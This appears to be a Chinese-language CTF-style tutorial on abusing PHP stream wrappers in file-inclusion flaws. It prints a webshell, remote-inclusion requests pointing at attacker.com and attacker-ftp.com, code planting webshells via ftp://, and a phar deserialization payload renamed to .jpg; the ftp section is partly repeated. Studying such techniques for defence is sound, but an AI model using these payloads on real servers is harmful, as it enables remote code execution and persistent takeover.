PHP伪协议

标签 : PHP


伪装协议

1 file://
2 http://
3 ftp://
4 php://
5 zlib://
6 data://
7 glob://
8 phar://
9 ssh2://
10 rar://
11 ogg://
12 expect://

常见过滤器:

  • convert.base64-encode / convert.base64-decode
  • convert.quoted-printable-encode
  • string.rot13
  • string.strip_tags

php://filter 详解:

  • 读取模式(read)
    语法:php://filter/read=filter_name/resource=target_file
    示例:

    1
    2
    $a = "php://filter/read=convert.base64-encode/resource=index.php";
    include($a);

    此时会将 index.php 的源码进行 Base64 编码后输出,绕过直接执行 PHP 代码,常用于源码泄露。

  • 写入模式(write)
    语法:php://filter/write=filter_name/resource=target_file
    示例:

    1
    2
    3
    $data = "<?php phpinfo(); ?>"; // 要写入的内容
    $target = "php://filter/write=string.rot13/resource=shell.php";
    file_put_contents($target, str_rot13($data)); // 注意需对数据预处理

file://详解

file:// 封装器允许 PHP 像处理 URL 一样处理本地文件路径,这使得 PHP 可以使用统一的 I/O 函数(如 fopen()、file_get_contents() 等)来操作本地文件。

语法:file:///path/to/your/file

由于php文件的操作函数会默认使用file://协议来处理

原理展示

1
2
3
程序代码:include($_get[`page`]);
用户输入:../../../etc/passwd
实际处理: include(`file://../../../etc/passwd`)

就可以根据file://协议来进行目录遍历,从而获得目标文件


data://详解

基本语法data:[<MIME-type>][;charset=<encoding>][;base64],<data>
工作方式: 当 PHP 遇到这个协议时,它不会进行任何网络或文件系统的操作,而是直接从 URI 的 部分提取内容,并将其作为文件内容提供给函数(如 include, file_get_contents 等)。

攻击案例
1
2
3
4
5
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
//就需要构造file2=data://text/plain,hellow ctf

http://详解

它与我们之前讨论的 file://(本地文件)和 data://(嵌入数据)不同,http:// 是用来连接到 Web 服务器并获取其内容的。

**http://**协议是实现远程文件包含的重要伪协议

攻击前提:攻击前提条件(关键): 要利用 http:// 来包含文件,PHP 配置文件中的 allow_url_include 必须设置为 On。如果只是 file_get_contents() 或 fopen(),只需要 allow_url_fopen = On。

攻击步骤:
攻击者首先在自己的服务器(例如 http://attacker.com)上创建一个包含 PHP 代码的文件,例如 shell.txt:

1
2
3
<?php
system($_GET['cmd']);
?>

攻击的目标存在一个文件包含漏洞(include($get_[a]))
然后利用http://协议来进行攻击

1
http://target.com/ < target.php > ? a = http://attacker.com/shell.txt

后续可以依靠antsword和hackbar等工具进行攻击


ftp://详解

工作方式: PHP 会尝试根据 URL 中提供的信息连接到指定的 FTP 服务器,并对该服务器上的文件进行读取、写入或修改操作(取决于使用的函数和 FTP 权限)。

URL格式**ftp://[username[:password]@]hostname[:port]/path/to/file**

攻击方法1

依旧是在include()漏洞存在的情况和上述http://协议一样,在自己的服务器(http://attacker.com)上面的文件可以上传到目标漏洞的服务器,然后在根据include($_get [ a])来进行攻击
攻击如下

1
http://example.com/<target.php>?a=ftp://anonymous@attacker-ftp.com/shell.txt

此时假设可以匿名且无密码

结果: 漏洞程序会通过 FTP 下载 shell.txt 的内容,然后 include() 函数会执行其中的 PHP 代码,导致 RCE(远程代码执行)

攻击方法2

如果应用程序允许用户控制目标路径和写入内容,并且使用了 fopen() 或 file_put_contents(),理论上可以滥用 ftp:// 来修改远程 FTP 服务器上的文件(例如修改一个 Web 目录下的文件来植入 Webshell)。

1
2
3
$target = "ftp://user:pass@target-ftp.com/www/config.php";
$data = "<?php system('id'); ?>";
file_put_contents($target, $data);

phar://详解

Phar(PHP Archive) 是PHP的打包格式,类似于Java的JAR文件。phar://伪协议允许直接访问Phar文件内部的内容。

1
<?php system($_GET['cmd']); ?>

攻击者利用目标系统中存在的文件包含漏洞(如 include($_GET['a']);),结合PHP支持的伪协议,可实现远程代码执行。在已知可通过 http:// 协议进行远程文件包含的基础上,进一步利用 ftp://phar:// 等协议扩大攻击面。
####攻击思路
当PHP代码中存在文件操作函数(如file_get_contents()、include()、unlink()等)且用户能控制参数时,可能触发反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
创建恶意文件
<?php
class EvilClass {
public $cmd = 'whoami';

public function __destruct() {
system($this->cmd);
}
}

// 创建Phar文件
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// 添加恶意对象
$object = new EvilClass();
$object->cmd = $_GET['cmd']; // RCE命令
$phar->setMetadata($object);
$phar->stopBuffering();

// 重命名绕过上传限制
rename('evil.phar', 'evil.jpg');
?>

ftp:// 协议攻击详解

PHP 支持通过 ftp:// 协议访问远程 FTP 服务,其格式为:

1
ftp://[username[:password]@]hostname[:port]/path/to/file

攻击方法 1:结合文件包含进行 RCE

当存在 include($_GET['a']) 漏洞时,攻击者可构造如下请求:

1
http://target.com/vuln.php?a=ftp://anonymous@attacker-ftp.com/shell.txt

若目标服务器可出站连接且 FTP 服务允许匿名访问,PHP 将下载 shell.txt 并解析其中的 PHP 代码,造成远程代码执行(RCE)

攻击方法 2:写入远程 FTP 文件(反向利用)

若应用使用 file_put_contents()fopen() 写入文件,且路径可控,则可滥用 ftp:// 修改远程 FTP 服务器上的文件:

1
2
3
$target = "ftp://user:pass@target-ftp.com/public_html/backup.php";
$data = "<?php system($_GET['cmd']); ?>";
file_put_contents($target, $data);

成功后将在目标 Web 目录下植入 WebShell,实现持久化控制。